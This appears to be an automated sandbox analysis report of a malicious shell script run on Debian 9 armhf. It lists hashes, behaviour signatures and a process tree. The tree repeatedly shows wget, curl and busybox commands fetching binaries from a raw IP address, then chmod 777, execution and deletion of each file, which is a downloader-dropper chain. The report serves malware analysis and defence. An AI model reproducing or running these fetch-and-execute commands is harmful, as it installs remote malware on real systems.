Analysis

  • max time kernel
    19s
  • max time network
    49s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21/10/2024, 01:37

General

  • Target

    ace24a1256fc97981ff007772c03f80a114e30643e235c7c1e4bcc7c44b841a1.sh

  • Size

    10KB

  • MD5

    d02d2cc45f453ae469915bf5bfcf48ec

  • SHA1

    5db9569732492cb7f0762973db3950e0cbbff9d8

  • SHA256

    ace24a1256fc97981ff007772c03f80a114e30643e235c7c1e4bcc7c44b841a1

  • SHA512

    e6f62639d7a9ed67f76e803004282c82162e299db70a632e144b81ac07192254c5e424f5bc32b5267f608d7b11c7692c55098a8f3d0dd4fe69efa61d22430f3b

  • SSDEEP

    96:rb5p07Lo4jxniybeVFX5Xe4WVykrlkz9Cb5O:rb5y7Lo4jp+Fwb5O

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 24 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ace24a1256fc97981ff007772c03f80a114e30643e235c7c1e4bcc7c44b841a1.sh
    /tmp/ace24a1256fc97981ff007772c03f80a114e30643e235c7c1e4bcc7c44b841a1.sh
    1⤵
      PID:646
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:649
        • /usr/bin/wget
          wget http://87.120.126.196/bins/Ih4D38xDeospbvsFFnUOBtOaGxSl05NBVd
          2⤵
            PID:652
          • /usr/bin/curl
            curl -O http://87.120.126.196/bins/Ih4D38xDeospbvsFFnUOBtOaGxSl05NBVd
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:662
          • /bin/busybox
            /bin/busybox wget http://87.120.126.196/bins/Ih4D38xDeospbvsFFnUOBtOaGxSl05NBVd
            2⤵
              PID:671
            • /bin/chmod
              chmod 777 Ih4D38xDeospbvsFFnUOBtOaGxSl05NBVd
              2⤵
              • File and Directory Permissions Modification
              PID:674
            • /tmp/Ih4D38xDeospbvsFFnUOBtOaGxSl05NBVd
              ./Ih4D38xDeospbvsFFnUOBtOaGxSl05NBVd
              2⤵
              • Executes dropped EXE
              PID:675
            • /bin/rm
              rm Ih4D38xDeospbvsFFnUOBtOaGxSl05NBVd
              2⤵
                PID:677
              • /usr/bin/wget
                wget http://87.120.126.196/bins/vRtJtcZAIO3z1NAcKnzrv5wFyR6ee7xs9y
                2⤵
                  PID:679
                • /usr/bin/curl
                  curl -O http://87.120.126.196/bins/vRtJtcZAIO3z1NAcKnzrv5wFyR6ee7xs9y
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:681
                • /bin/busybox
                  /bin/busybox wget http://87.120.126.196/bins/vRtJtcZAIO3z1NAcKnzrv5wFyR6ee7xs9y
                  2⤵
                    PID:683
                  • /bin/chmod
                    chmod 777 vRtJtcZAIO3z1NAcKnzrv5wFyR6ee7xs9y
                    2⤵
                    • File and Directory Permissions Modification
                    PID:684
                  • /tmp/vRtJtcZAIO3z1NAcKnzrv5wFyR6ee7xs9y
                    ./vRtJtcZAIO3z1NAcKnzrv5wFyR6ee7xs9y
                    2⤵
                    • Executes dropped EXE
                    PID:685
                  • /bin/rm
                    rm vRtJtcZAIO3z1NAcKnzrv5wFyR6ee7xs9y
                    2⤵
                      PID:686
                    • /usr/bin/wget
                      wget http://87.120.126.196/bins/1fm1DeVphHg1DZZHH47ZPv70NWZZFpT7p0
                      2⤵
                        PID:687
                      • /usr/bin/curl
                        curl -O http://87.120.126.196/bins/1fm1DeVphHg1DZZHH47ZPv70NWZZFpT7p0
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:695
                      • /bin/busybox
                        /bin/busybox wget http://87.120.126.196/bins/1fm1DeVphHg1DZZHH47ZPv70NWZZFpT7p0
                        2⤵
                          PID:700
                        • /bin/chmod
                          chmod 777 1fm1DeVphHg1DZZHH47ZPv70NWZZFpT7p0
                          2⤵
                          • File and Directory Permissions Modification
                          PID:716
                        • /tmp/1fm1DeVphHg1DZZHH47ZPv70NWZZFpT7p0
                          ./1fm1DeVphHg1DZZHH47ZPv70NWZZFpT7p0
                          2⤵
                          • Executes dropped EXE
                          PID:718
                        • /bin/rm
                          rm 1fm1DeVphHg1DZZHH47ZPv70NWZZFpT7p0
                          2⤵
                            PID:719
                          • /usr/bin/wget
                            wget http://87.120.126.196/bins/U4fFuy1q2XODr7qwe40o7y72iOHJXfR93D
                            2⤵
                              PID:721
                            • /usr/bin/curl
                              curl -O http://87.120.126.196/bins/U4fFuy1q2XODr7qwe40o7y72iOHJXfR93D
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:724
                            • /bin/busybox
                              /bin/busybox wget http://87.120.126.196/bins/U4fFuy1q2XODr7qwe40o7y72iOHJXfR93D
                              2⤵
                                PID:729
                              • /bin/chmod
                                chmod 777 U4fFuy1q2XODr7qwe40o7y72iOHJXfR93D
                                2⤵
                                • File and Directory Permissions Modification
                                PID:731
                              • /tmp/U4fFuy1q2XODr7qwe40o7y72iOHJXfR93D
                                ./U4fFuy1q2XODr7qwe40o7y72iOHJXfR93D
                                2⤵
                                • Executes dropped EXE
                                PID:733
                              • /bin/rm
                                rm U4fFuy1q2XODr7qwe40o7y72iOHJXfR93D
                                2⤵
                                  PID:734
                                • /usr/bin/wget
                                  wget http://87.120.126.196/bins/l9jcok77AdZWyxfq8H7QiIYLgZefgmzMX2
                                  2⤵
                                    PID:737
                                  • /usr/bin/curl
                                    curl -O http://87.120.126.196/bins/l9jcok77AdZWyxfq8H7QiIYLgZefgmzMX2
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:742
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.126.196/bins/l9jcok77AdZWyxfq8H7QiIYLgZefgmzMX2
                                    2⤵
                                      PID:748
                                    • /bin/chmod
                                      chmod 777 l9jcok77AdZWyxfq8H7QiIYLgZefgmzMX2
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:749
                                    • /tmp/l9jcok77AdZWyxfq8H7QiIYLgZefgmzMX2
                                      ./l9jcok77AdZWyxfq8H7QiIYLgZefgmzMX2
                                      2⤵
                                      • Executes dropped EXE
                                      PID:750
                                    • /bin/rm
                                      rm l9jcok77AdZWyxfq8H7QiIYLgZefgmzMX2
                                      2⤵
                                        PID:751
                                      • /usr/bin/wget
                                        wget http://87.120.126.196/bins/Gmc5KIxt0DVU03uvQ6jTbtTVnR7SEFOmMy
                                        2⤵
                                          PID:752
                                        • /usr/bin/curl
                                          curl -O http://87.120.126.196/bins/Gmc5KIxt0DVU03uvQ6jTbtTVnR7SEFOmMy
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:755
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.126.196/bins/Gmc5KIxt0DVU03uvQ6jTbtTVnR7SEFOmMy
                                          2⤵
                                            PID:764
                                          • /bin/chmod
                                            chmod 777 Gmc5KIxt0DVU03uvQ6jTbtTVnR7SEFOmMy
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:767
                                          • /tmp/Gmc5KIxt0DVU03uvQ6jTbtTVnR7SEFOmMy
                                            ./Gmc5KIxt0DVU03uvQ6jTbtTVnR7SEFOmMy
                                            2⤵
                                            • Executes dropped EXE
                                            PID:768
                                          • /bin/rm
                                            rm Gmc5KIxt0DVU03uvQ6jTbtTVnR7SEFOmMy
                                            2⤵
                                              PID:769
                                            • /usr/bin/wget
                                              wget http://87.120.126.196/bins/dWZhfzcpFLdEyVrYOAGiUkLQTrEighpOGH
                                              2⤵
                                                PID:771
                                              • /usr/bin/curl
                                                curl -O http://87.120.126.196/bins/dWZhfzcpFLdEyVrYOAGiUkLQTrEighpOGH
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:787
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.126.196/bins/dWZhfzcpFLdEyVrYOAGiUkLQTrEighpOGH
                                                2⤵
                                                  PID:790
                                                • /bin/chmod
                                                  chmod 777 dWZhfzcpFLdEyVrYOAGiUkLQTrEighpOGH
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:791
                                                • /tmp/dWZhfzcpFLdEyVrYOAGiUkLQTrEighpOGH
                                                  ./dWZhfzcpFLdEyVrYOAGiUkLQTrEighpOGH
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:792
                                                • /bin/rm
                                                  rm dWZhfzcpFLdEyVrYOAGiUkLQTrEighpOGH
                                                  2⤵
                                                    PID:793
                                                  • /usr/bin/wget
                                                    wget http://87.120.126.196/bins/tcVFntFjTOfvC2G6AwzWQ6OiEGt1vsRMA8
                                                    2⤵
                                                      PID:794
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.126.196/bins/tcVFntFjTOfvC2G6AwzWQ6OiEGt1vsRMA8
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:795
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.126.196/bins/tcVFntFjTOfvC2G6AwzWQ6OiEGt1vsRMA8
                                                      2⤵
                                                        PID:796
                                                      • /bin/chmod
                                                        chmod 777 tcVFntFjTOfvC2G6AwzWQ6OiEGt1vsRMA8
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:797
                                                      • /tmp/tcVFntFjTOfvC2G6AwzWQ6OiEGt1vsRMA8
                                                        ./tcVFntFjTOfvC2G6AwzWQ6OiEGt1vsRMA8
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:798
                                                      • /bin/rm
                                                        rm tcVFntFjTOfvC2G6AwzWQ6OiEGt1vsRMA8
                                                        2⤵
                                                          PID:799
                                                        • /usr/bin/wget
                                                          wget http://87.120.126.196/bins/EW4jGzCKEmGLa0sQWYn8WvrSp1BcKPM2fx
                                                          2⤵
                                                            PID:800
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.126.196/bins/EW4jGzCKEmGLa0sQWYn8WvrSp1BcKPM2fx
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:801
                                                          • /bin/busybox
                                                            /bin/busybox wget http://87.120.126.196/bins/EW4jGzCKEmGLa0sQWYn8WvrSp1BcKPM2fx
                                                            2⤵
                                                              PID:802
                                                            • /bin/chmod
                                                              chmod 777 EW4jGzCKEmGLa0sQWYn8WvrSp1BcKPM2fx
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:803
                                                            • /tmp/EW4jGzCKEmGLa0sQWYn8WvrSp1BcKPM2fx
                                                              ./EW4jGzCKEmGLa0sQWYn8WvrSp1BcKPM2fx
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:804
                                                            • /bin/rm
                                                              rm EW4jGzCKEmGLa0sQWYn8WvrSp1BcKPM2fx
                                                              2⤵
                                                                PID:805
                                                              • /usr/bin/wget
                                                                wget http://87.120.126.196/bins/RsQQqAbRqBMURl38Bp15NIT4LOEQbHrBM6
                                                                2⤵
                                                                  PID:806
                                                                • /usr/bin/curl
                                                                  curl -O http://87.120.126.196/bins/RsQQqAbRqBMURl38Bp15NIT4LOEQbHrBM6
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:807
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://87.120.126.196/bins/RsQQqAbRqBMURl38Bp15NIT4LOEQbHrBM6
                                                                  2⤵
                                                                    PID:808
                                                                  • /bin/chmod
                                                                    chmod 777 RsQQqAbRqBMURl38Bp15NIT4LOEQbHrBM6
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:809
                                                                  • /tmp/RsQQqAbRqBMURl38Bp15NIT4LOEQbHrBM6
                                                                    ./RsQQqAbRqBMURl38Bp15NIT4LOEQbHrBM6
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:810
                                                                  • /bin/rm
                                                                    rm RsQQqAbRqBMURl38Bp15NIT4LOEQbHrBM6
                                                                    2⤵
                                                                      PID:811
                                                                    • /usr/bin/wget
                                                                      wget http://87.120.126.196/bins/s69roBeNzFoKEI0aEGFt773QBfQSZCVzwB
                                                                      2⤵
                                                                        PID:812
                                                                      • /usr/bin/curl
                                                                        curl -O http://87.120.126.196/bins/s69roBeNzFoKEI0aEGFt773QBfQSZCVzwB
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:813
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://87.120.126.196/bins/s69roBeNzFoKEI0aEGFt773QBfQSZCVzwB
                                                                        2⤵
                                                                          PID:814
                                                                        • /bin/chmod
                                                                          chmod 777 s69roBeNzFoKEI0aEGFt773QBfQSZCVzwB
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:815
                                                                        • /tmp/s69roBeNzFoKEI0aEGFt773QBfQSZCVzwB
                                                                          ./s69roBeNzFoKEI0aEGFt773QBfQSZCVzwB
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:816
                                                                        • /bin/rm
                                                                          rm s69roBeNzFoKEI0aEGFt773QBfQSZCVzwB
                                                                          2⤵
                                                                            PID:817
                                                                          • /usr/bin/wget
                                                                            wget http://87.120.126.196/bins/ko9QGxrwl2TM3zI2PCptTDYliMQuSnwSYr
                                                                            2⤵
                                                                              PID:818
                                                                            • /usr/bin/curl
                                                                              curl -O http://87.120.126.196/bins/ko9QGxrwl2TM3zI2PCptTDYliMQuSnwSYr
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:819
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://87.120.126.196/bins/ko9QGxrwl2TM3zI2PCptTDYliMQuSnwSYr
                                                                              2⤵
                                                                                PID:820
                                                                              • /bin/chmod
                                                                                chmod 777 ko9QGxrwl2TM3zI2PCptTDYliMQuSnwSYr
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:821
                                                                              • /tmp/ko9QGxrwl2TM3zI2PCptTDYliMQuSnwSYr
                                                                                ./ko9QGxrwl2TM3zI2PCptTDYliMQuSnwSYr
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:822
                                                                              • /bin/rm
                                                                                rm ko9QGxrwl2TM3zI2PCptTDYliMQuSnwSYr
                                                                                2⤵
                                                                                  PID:823
                                                                                • /usr/bin/wget
                                                                                  wget http://87.120.126.196/bins/gO6nKPFUoK0m2bR0h6vuJWgqpJ51AwHuSK
                                                                                  2⤵
                                                                                    PID:824

                                                                                Network

                                                                                      MITRE ATT&CK Enterprise v15

                                                                                      Replay Monitor

                                                                                      Loading Replay Monitor...

                                                                                      Downloads

                                                                                      • /tmp/Ih4D38xDeospbvsFFnUOBtOaGxSl05NBVd

                                                                                        Filesize

                                                                                        153B

                                                                                        MD5

                                                                                        998368d7c95ea4293237f2320546e440

                                                                                        SHA1

                                                                                        30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                                                        SHA256

                                                                                        533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                                                        SHA512

                                                                                        648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97